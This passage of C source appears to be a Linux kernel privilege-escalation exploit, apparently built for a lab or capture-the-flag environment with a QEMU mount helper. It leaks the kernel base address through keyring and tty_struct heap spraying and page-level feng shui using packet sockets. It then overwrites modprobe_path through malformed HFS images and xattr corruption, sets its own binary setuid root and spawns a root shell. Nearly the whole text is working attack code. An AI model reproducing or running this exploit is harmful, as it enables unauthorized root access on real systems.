        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%02d", leaf_nodes[i]);
        setxattr("/tmp/tmpfs/xattr_node", xattr_name, xattr_value, strlen(xattr_value), 0);
    }
}

void spray_xattr_two(void)
{
    char xattr_name[XATTR_NAME_MAX_SIZE];
    char xattr_value[XATTR_NAME_MAX_SIZE];

    int base_nodes[] = {7, 3, 11, 1, 5, 9, 13};
    int leaf_nodes[] = {0, 2, 4, 6, 8, 10, 12, 14};
    int base_size = sizeof(base_nodes) / sizeof(base_nodes[0]);
    int leaf_size = sizeof(leaf_nodes) / sizeof(leaf_nodes[0]);


    for (int i = 200; i < 211; i++) {
        snprintf(xattr_value, XATTR_NAME_MAX_SIZE, "attilaszia-%d%512d", i, i);
        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%d", i);
        setxattr("/tmp/tmpfs/xattr_node_3", xattr_name, xattr_value, strlen(xattr_value), 0);
    }

    for (int i = 0; i < base_size; i++) {
        snprintf(xattr_value, XATTR_NAME_MAX_SIZE, "attilaszia-%d%512d", base_nodes[i], base_nodes[i]);
        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%02d", base_nodes[i]);
        setxattr("/tmp/tmpfs/xattr_node_2", xattr_name, xattr_value, strlen(xattr_value), 0);
    }

    for (int i = 0; i < leaf_size; i++) {
        snprintf(xattr_value, XATTR_NAME_MAX_SIZE, "attilaszia-%d%512d", leaf_nodes[i], leaf_nodes[i]);
        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%02d", leaf_nodes[i]);
        setxattr("/tmp/tmpfs/xattr_node_2", xattr_name, xattr_value, strlen(xattr_value), 0);
    }
}

char *read_modprobe_content(void) 
{
    FILE *file;
    char buffer[BUFFER_SIZE];
    char *content;

    file = fopen(MODPROBE_PATH, "r");
    if (file == NULL) {
        perror("Failed to open /proc/sys/kernel/modprobe");
        return NULL;
    }
    if (fgets(buffer, sizeof(buffer), file) == NULL) {
        perror("Failed to read from /proc/sys/kernel/modprobe");
        fclose(file);
        return NULL;
    }   
    content = (char*)malloc(strlen(buffer) + 1);
    if (content == NULL) {
        perror("Failed to allocate memory");
        fclose(file);
        return NULL;
    }
    strcpy(content, buffer);    
    fclose(file);   

    size_t len = strlen(content);

    if (len > 0 && content[len - 1] == '\n') {
        content[len - 1] = '\0';
    }

    return content;
}

int check_modprobe(void)
{
    const char *fixed_string = "/sbin/modprobe";

    usleep(100000);

    char *modprobe_content = read_modprobe_content();
    if (modprobe_content != NULL) {
        printf("[+] modprobe: %s\n", modprobe_content);
            return strcmp(modprobe_content, fixed_string);
        }   
    else {
        do_error_exit("check_modprobe couldn't read modprobe content");
    }
}

int check_modprobe_final(void)
{
    const char *fixed_string = "/tmp/bgp";

    usleep(100000);

    char *modprobe_content = read_modprobe_content();
    if (modprobe_content != NULL) {
        printf("[+] modprobe: %s\n", modprobe_content);
            return !strncmp(modprobe_content, fixed_string, 8);
        }   
    else {
        do_error_exit("check_modprobe couldn't read modprobe content");
    }
}



void check_for_modprobe_overwrite_one(void){
    char xattr_name[XATTR_NAME_MAX_SIZE];
    char xattr_value[XATTR_NAME_MAX_SIZE];

    int redblack[] = {0, 2, 4, 6, 8, 10, 12, 14};

    int success = false;

    printf("[+] Checking for xattr corruptions\n");

    int array_size = sizeof(redblack) / sizeof(redblack[0]);
    for (int i = 0; i < array_size; i++) {              
        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%02d", redblack[i]);
        printf("[+] current xattr to delete: %s\n", xattr_name);

        /* rbtree __rb_change_child should happen here */
        removexattr("/tmp/tmpfs/xattr_node", xattr_name);

        if (check_modprobe()) {
            printf("[+] Successfully corrupted modprobe path #1\n");            
            fflush(stdout);

            system("cat /proc/sys/kernel/modprobe");            
            success = true;
            sleep(1);
            break;
        }
    }
    if (!success){
        sleep(1);
        do_error_exit("Couldn't overwrite first part of modprobe");     
    }

}

void check_for_modprobe_overwrite_two(void){
    char xattr_name[XATTR_NAME_MAX_SIZE];
    char xattr_value[XATTR_NAME_MAX_SIZE];

    int redblack[] = {0, 2, 4, 6, 8, 10, 12, 14};

    int success = false;

    printf("[+] Checking for xattr corruptions\n");

    int array_size = sizeof(redblack) / sizeof(redblack[0]);
    for (int i = 0; i < array_size; i++) {              
        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%02d", redblack[i]);
        printf("[+] current xattr to delete: %s\n", xattr_name);

        /* rbtree __rb_change_child should happen here */
        removexattr("/tmp/tmpfs/xattr_node_2", xattr_name);

        if (check_modprobe_final()) {
            printf("[+] Successfully corrupted modprobe path #2\n");            
            fflush(stdout);

            system("cat /proc/sys/kernel/modprobe");            
            success = true;
            sleep(5);
            break;
        }
    }
    if (!success){
        sleep(1);
        do_error_exit("Couldn't overwrite modprobe");       
    }

}

void trigger_oob(void)
{
    key_serial_t *id_buffer;

    id_buffer = spray_keyring(SPRAY_KEY_SIZE, SPRAY_KEY_SIZE_INIT);

    spray_tty_struct(SPRAY_TTY_SIZE);

    char *attr_value = "dummy";
    int result = setxattr("/tmp/mnt0/hacked_node", "user.1", attr_value, strlen(attr_value), 0);

    if (result != 0)
        do_error_exit("setxattr attempt on vuln fs");

    kaslr_base_recovered = get_keyring_leak(id_buffer, (uint32_t)SPRAY_KEY_SIZE);
    sleep(1);

    release_keys(id_buffer, SPRAY_KEY_SIZE);
}

void trigger_oob_xattr(void)
{
    char *attr_value = "dummy";
    int result = setxattr("/tmp/mnt1/hacked_node", "user.1", attr_value, strlen(attr_value), 0);

    if (result != 0)
        do_error_exit("setxattr attempt on vuln fs");   
}

void trigger_oob_xattr_two(void)
{
    char *attr_value = "dummy";
    int result = setxattr("/tmp/mnt2/hacked_node", "user.1", attr_value, strlen(attr_value), 0);

    if (result != 0)
        do_error_exit("setxattr attempt on vuln fs");   
}


/* Function to monitor /proc/contig_alloc_info */
void *monitor_function(void *arg)
{
    int consecutive_ones = 0;

    const int required_consecutive = 10;
    /* 0.1 seconds in microseconds */
    const useconds_t interval = 100000;

    while (1) {
        char buffer[128];
        FILE *file;

        /* Open the file for reading */
        file = fopen("/proc/contig_alloc_info", "r");
        if (file == NULL) {
            perror("Failed to open /proc/contig_alloc_info");
            pthread_exit(NULL);
        }

        /* Read a line from the file */
        if (fgets(buffer, sizeof(buffer), file) != NULL) {
            int value;
            char timestamp[64];

            /* Parse the timestamp and value */
            if (sscanf(buffer, "%s %d", timestamp, &value) == 2) {
                if (value == 1) {
                    consecutive_ones++;
                    if (consecutive_ones == required_consecutive) {
                        printf("Value is 1 for %d consecutive checks at %s\n", required_consecutive, timestamp);
                        printf("UNIX timestamp at side-channel trigger: %lld\n", get_precise_time());
                        // trigger_oob();
                    }
                } else {
                    /* Reset the counter if value is not 1 */
                    consecutive_ones = 0;
                }
            } else {
                fprintf(stderr, "Failed to parse the line: %s", buffer);
            }
        } else {
            fprintf(stderr, "Failed to read from /proc/contig_alloc_info\n");
        }

        fclose(file);

        usleep(interval);
    }
    return NULL;
}

void print_contiginfo(void)
{
    char buffer[128];
    FILE *pipe;

    pipe = popen("cat /proc/contig_alloc_info", "r");
    if (pipe == NULL) {
        do_error_exit("popen failed");
    return;
    }

    while (fgets(buffer, sizeof(buffer), pipe) != NULL)
        printf("%s", buffer);

    pclose(pipe);
}

void print_buddyinfo(void)
{
    char buffer[128];
    FILE *pipe;

    pipe = popen("cat /proc/buddyinfo", "r");
    if (pipe == NULL)
        do_error_exit("popen failed");

    while (fgets(buffer, sizeof(buffer), pipe) != NULL)
        printf("%s", buffer);

    pclose(pipe);
}

/* pipe for cmd communication */
int cmd_pipe_req[2], cmd_pipe_reply[2];

/* create a socket and alloc pages, return the socket fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
    struct tpacket_req req;
    int socket_fd, version;
    int ret;

    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socket_fd < 0) {
        printf("[-] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
        ret = socket_fd;
        goto err_out;
    }

    version = TPACKET_V1;
    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,
                     &version, sizeof(version));
    if (ret < 0) {
        printf("[-] failed at setsockopt(PACKET_VERSION)\n");
        goto err_setsockopt;
    }

    memset(&req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
    if (ret < 0) {
        printf("[-] failed at setsockopt(PACKET_TX_RING)\n");
        goto err_setsockopt;
    }

    return socket_fd;

err_setsockopt:
    close(socket_fd);
err_out:
    return ret;
}

/* the parent process should call it to send command of allocation to child */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_ALLOC_PAGE,
        .size = size,
        .nr = nr,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret;
}

int exit_child(void) {
    struct pgv_page_request req = {     
        .cmd = CMD_EXIT
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret; 
}

/* the parent process should call it to send command of freeing to child */
int free_page(int idx)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_FREE_PAGE,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(req));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    usleep(10000);

    return ret;
}

void spray_cmd_handler(void)
{
    struct pgv_page_request req;
    int socket_fd[PGV_PAGE_NUM];
    int ret;

    /* Create an isolated namespace*/
    unshare_setup();

    /* Handle requests */
    do {
        read(cmd_pipe_req[0], &req, sizeof(req));

        if (req.cmd == CMD_ALLOC_PAGE) {
            ret = create_socket_and_alloc_pages(req.size, req.nr);
            socket_fd[req.idx] = ret;
        } else if (req.cmd == CMD_FREE_PAGE) {
            ret = close(socket_fd[req.idx]);
        } else if (req.cmd == CMD_EXIT) {
            ret = 0;
            write(cmd_pipe_reply[1], &ret, sizeof(ret));
            printf("[+] Exiting\n");
            break;          
        } else {            
            printf("[-] invalid request: %d\n", req.cmd);
        }

        write(cmd_pipe_reply[1], &ret, sizeof(ret));
    } while (req.cmd != CMD_EXIT);

    printf("[+] Finished command handler\n");
    _exit(0);
}

pid_t prepare_pgv_system(void)
{
    pid_t pid;
    /* Pipe for pgv */
    pipe(cmd_pipe_req);
    pipe(cmd_pipe_reply);

    /* Child process for pages spray */
    pid = fork();
    if (!pid)
        spray_cmd_handler();
    else {
        printf("[+] Kicked off spray process %d\n", pid);
        return pid;
    }
}

/* Spray pages in different size for various usages and trigger first OOB */
void prepare_pgv_pages_cross_oob(void)
{
#ifdef DEBUG_CROSSCACHE
    print_contiginfo();
    print_buddyinfo();
#endif    
    /*
     * We want a more clear and continuous memory there, which require us to
     * make the noise less in allocating order-3 pages.
     * So we pre-allocate the pages for those noisy objects there.
     */
    puts("[*] spray pgv order-0 pages...");
    for (int i = 0; i < PGV_1PAGE_SPRAY_NUM; i++) {
        if (alloc_page(i, 0x1000, 1) < 0)
            printf("[-] failed to create %d socket for pages spraying!\n", i);
    }
#ifdef DEBUG_CROSSCACHE
    print_contiginfo();
    print_buddyinfo();
#endif    


    puts("[*] spray pgv order-1 pages...");
    for (int i = 0; i < PGV_1PAGE_SPRAY_NUM; i++) {
        if (alloc_page(i, 0x1000 * 2, 1) < 0)
            printf("[-] failed to create %d socket for pages spraying!\n", i);
    }

#ifdef DEBUG_CROSSCACHE
    print_contiginfo();
    print_buddyinfo();
#endif
    puts("[*] spray pgv order-2 pages...");
    for (int i = 0; i < PGV_4PAGES_SPRAY_NUM; i++) {
        if (i == 2) {
            /* This looks arbitrary AF, but I made a bunch of measurements and undergrad level stats that support it */
            usleep(166000);

            printf("[+] UNIX timestamp at page-2 splitting: %lld\n", get_precise_time());
            trigger_oob();
        }

        if (alloc_page(PGV_4PAGES_START_IDX + i, 0x1000 * 4, 1) < 0)
            printf("[-] failed to create %d socket for pages spraying!\n", i);
    }

#ifdef DEBUG_CROSSCACHE
    print_contiginfo();
    print_buddyinfo();
#endif

    /* Spray 8 pages for page-level heap fengshui */
    puts("[*] spray pgv order-3 pages...");
    for (int i = 0; i < PGV_8PAGES_SPRAY_NUM; i++) {
        /* A socket need 1 obj: sock_inode_cache, 19 objs for 1 slub on 4 page*/
        if (i % 19 == 0)
            free_page(pgv_4pages_start_idx++);

        /* A socket need 1 dentry: dentry, 21 objs for 1 slub on 1 page */
        if (i % 21 == 0)
            free_page(pgv_1page_start_idx += 2);

        /* A pgv need 1 obj: kmalloc-8, 512 objs for 1 slub on 1 page*/
        if (i % 512 == 0)
            free_page(pgv_1page_start_idx += 2);

        if (alloc_page(PGV_8PAGES_START_IDX + i, 0x1000 * 8, 1) < 0)
            printf("[-] failed to create %d socket for pages spraying!\n", i);
    }
#ifdef DEBUG_CROSSCACHE    
    print_contiginfo();
    print_buddyinfo();
#endif    
}

uint64_t parse_leak(uint8_t *buffer, uint32_t buffer_size)
{
    int success;
    uint64_t kaslr_base_found;
/*
    for (uint32_t i = 0; i < buffer_size; i++)
        printf("%02x", buffer[i]);
    printf("\n");
*/    
    success = 0;

    /* Process the buffer to find pointer triples and calculate KASLR base */
    find_pointer_triples(buffer, buffer_size, &success, &kaslr_base_found);
    if (!success)
        do_error_exit("Could not recover KASLR base\n");

    return kaslr_base_found;
}

void spray_tty_struct(int max)
{
    int spray[100];

    printf("[+] Spraying tty_structs\n");

    for (int i = 0; i < max; i++) {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    }
}


key_serial_t *spray_keyring(uint32_t spray_size, uint32_t offset)
{
    char key_desc[KEY_DESC_MAX_SIZE];
    key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));

    if (id_buffer == NULL)
        do_error_exit("calloc");

    printf("[+] Spraying keys...");
    for (uint32_t i = 0; i < spray_size; i++) {     
        snprintf(key_desc, KEY_DESC_MAX_SIZE, "attilaszia-%d%498d", offset + i, offset + i);

        id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);
        if (id_buffer[i] < 0)
            do_error_exit("add_key");
    }
    printf("done\n");

    return id_buffer;
}

uint64_t get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size)
{
    uint8_t buffer[USHRT_MAX] = {0};
    int32_t keylen;

    printf("[+] Checking sprayed keys for corruption\n");
    for (uint32_t i = 0; i < id_buffer_size; i++) {

        keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0);

        if (keylen < 0)
            continue;

        if (keylen > 1024) {
            printf("[+] Found corrupted key, triggering infoleak\n");
            return parse_leak(buffer, keylen);
        }
    }
    return 0;
}

void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size)
{
    printf("[+] Releasing %d keys\n", id_buffer_size);

    for (uint32_t i = 0; i < id_buffer_size; i++) {
        if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
            perror("keyctl(KEYCTL_REVOKE)");
        if (keyctl(KEYCTL_UNLINK, id_buffer[i], KEY_SPEC_PROCESS_KEYRING, 0, 0) < 0)
            perror("keyctl(KEYCTL_UNLINK)");
    }

    free(id_buffer);
}


int qemu_mount_oracle(char *file_path, char *loop_device_path, char *mount_point)
{
    char command[1024];
    snprintf(command, sizeof(command), "/qemu_oracle mount %s %s %s", file_path, loop_device_path, mount_point);
    system(command);

    return 0;
}

int qemu_umount_oracle(char *file_path, char *loop_device_path, char *mount_point)
{
    char command[1024];
    snprintf(command, sizeof(command), "/qemu_oracle unmount %s %s %s", file_path, loop_device_path, mount_point);
    system(command);

    return 0;
}

void set_myself_suid(char *my_path)
{
    char *script = malloc(0x200);
    char *modprobe_path = read_modprobe_content();

    sprintf(script, "#!/bin/bash\nchown root:root %s\nchmod u+s %s\n", my_path, my_path);   
    write_file(modprobe_path, script, strlen(script));

    sprintf(script, "chmod 700 %s\n", modprobe_path);
    system(script);

    write_file("/tmp/z", "\xff\xff\xff\xff\xff\xff\0", 6);
    system("chmod 700 /tmp/z");

    // Trigger modprobe_path
    system("/tmp/z 2>/dev/null");
    printf("[+] setuid bit set\n");
}

int main(char *argc, char **argv)
{
    key_serial_t *id_buffer;
    char *xattr_target_filename;
    struct write4_payload payload;
    pthread_t monitor_thread;
    pid_t pid;
    int status; 

/* Root shell part */    
    uid_t euid = geteuid(); 

    if (euid == 0)
    {
        // Got root!
        printf("[+] Popping root shell, courtesy of @4ttil4sz1a\n");

        setuid(0);
        setgid(0);
        char *args[] = {"/bin/sh", NULL};
        execve("/bin/sh", args, NULL);

        return 0;
    }   

        char *dir_path = malloc(0x200);
    getcwd(dir_path, 0x200);
    char *path = malloc(PATH_MAX);
    readlink("/proc/self/exe", path, PATH_MAX - 1);
    printf("[+] Running at %s\n", path);


    sem_t *sem_pop_shell = make_semaphore(0);

    if(!fork()){
            sem_wait(sem_pop_shell);
            char *args[] = {path, NULL};
            execve(path, args, NULL);
        }

/* Initialization */    

    set_cpu_affinity(0, 0);

    printf("[+] Running as UID=%d, GID=%d\n", getuid(), getgid());

    prepare_mounts();

/* KASLR leak part */    

    prepare_filesystem(hack_hfs_keyring, "/tmp/malformed_ring.raw", 0);

    qemu_mount_oracle("/tmp/malformed_ring.raw", "/dev/loop1", "/tmp/mnt0/");


#ifdef DEBUG_CROSSCACHE
    if (pthread_create(&monitor_thread, NULL, monitor_function, NULL) != 0)
        do_error_exit("Failed to create the monitor thread");
#endif


    id_buffer = spray_keyring(SPRAY_KEY_SIZE_INIT, 0);

    spray_tty_struct(SPRAY_TTY_INITIAL);

    pid = prepare_pgv_system();

    prepare_pgv_pages_cross_oob();

    release_keys(id_buffer, SPRAY_KEY_SIZE_INIT);

    exit_child();

    waitpid(pid, &status, 0);

    printf("[+] Waitpid status %d\n", status);

/* LPE part */

    prepare_filesystem(hack_hfs_modprobe_one, "/tmp/malformed_mod_1.raw", kaslr_base_recovered);

    qemu_mount_oracle("/tmp/malformed_mod_1.raw", "/dev/loop2", "/tmp/mnt1/");

    prepare_filesystem(hack_hfs_modprobe_two, "/tmp/malformed_mod_2.raw", kaslr_base_recovered);

    qemu_mount_oracle("/tmp/malformed_mod_2.raw", "/dev/loop3", "/tmp/mnt2/");

    unshare_setup_xattr(getuid(), getgid());

    printf("UID: %d, GID: %d\n", getuid(), getgid());

    prepare_tmpfs();

    spray_xattr();  

     trigger_oob_xattr();

    check_for_modprobe_overwrite_one(); 

    spray_xattr_two();

    trigger_oob_xattr_two();

    check_for_modprobe_overwrite_two(); 

    set_myself_suid(path);

    printf("[+] Escalating privileges\n");

    sem_post(sem_pop_shell);
    wait(NULL);
    sleep(0x100000);    
}